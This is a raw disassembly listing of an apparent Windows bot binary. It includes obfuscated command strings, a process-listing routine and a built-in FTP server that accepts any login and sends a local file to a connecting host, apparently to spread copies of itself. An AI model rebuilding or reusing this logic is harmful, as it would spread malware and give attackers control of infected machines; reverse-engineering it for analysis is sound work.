		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E700	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E700
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E89A
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E882
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E882
		mov	ebp, dword_50F8D0


loc_41E80E:				; CODE XREF: sub_41E700+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E80E


loc_41E882:				; CODE XREF: sub_41E700+62j
					; sub_41E700+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ECB7
; ---------------------------------------------------------------------------


loc_41E89A:				; CODE XREF: sub_41E700+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E98E
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ECB5
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_443FE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ECB7
; ---------------------------------------------------------------------------


loc_41E98E:				; CODE XREF: sub_41E700+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EAF5
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EADD
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EADD
		mov	ebx, dword_50F8D0


loc_41EA76:				; CODE XREF: sub_41E700+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_443FD8
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EA76


loc_41EADD:				; CODE XREF: sub_41E700+2CFj
					; sub_41E700+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ECB7
; ---------------------------------------------------------------------------


loc_41EAF5:				; CODE XREF: sub_41E700+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EBEC
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ECB5
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_443FD0
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ECB7
; ---------------------------------------------------------------------------


loc_41EBEC:				; CODE XREF: sub_41E700+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ECB5
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ECB5
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ECB5
		push	ebx
		push	offset dword_443FC4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41ECB7
; ---------------------------------------------------------------------------


loc_41ECB5:				; CODE XREF: sub_41E700+1F0j
					; sub_41E700+44Ej ...
		xor	al, al


loc_41ECB7:				; CODE XREF: sub_41E700+195j
					; sub_41E700+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E700	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EE50:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43B28A+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EE80:				; CODE XREF: ___:0041EE91j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EE93
		push	3E8h
		call	edi
		jmp	short loc_41EE80
; ---------------------------------------------------------------------------


loc_41EE93:				; CODE XREF: ___:0041EE88j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_447267
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6E8B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EEB9:				; DATA XREF: ___:loc_41EECCo
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EECC:				; DATA XREF: ___:00441554o
		mov	eax, offset loc_41EEB9
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF10	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EFD0	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EFD0
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_4368D0
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44763F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F057
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6E8B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F6FA
; ---------------------------------------------------------------------------


loc_41F057:				; CODE XREF: sub_41EFD0+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F087
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6E8B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F6FA
; ---------------------------------------------------------------------------


loc_41F087:				; CODE XREF: sub_41EFD0+93j
		mov	al, byte_4E6E34
		test	al, al
		jz	loc_41F6F0
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F0A2:				; CODE XREF: sub_41EFD0+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F0BD
		push	0FAh
		jmp	loc_41F6DB
; ---------------------------------------------------------------------------


loc_41F0BD:				; CODE XREF: sub_41EFD0+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F6D6
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F6E1
		mov	cl, byte_447DA8
		test	cl, cl
		jz	short loc_41F16F
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44763F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447948
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 28h


loc_41F16F:				; CODE XREF: sub_41EFD0+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_444060 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444060 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444060 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444060 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444060 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444060 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_63125E
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F635
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F635
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F560:				; CODE XREF: sub_41EFD0+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F5B3
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F560


loc_41F5B3:				; CODE XREF: sub_41EFD0+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DA8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F61C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447948
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 2Ch


loc_41F61C:				; CODE XREF: sub_41EFD0+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		call	near ptr 77C40AB1h
		nop
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F635:				; CODE XREF: sub_41EFD0+55Bj
					; sub_41EFD0+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
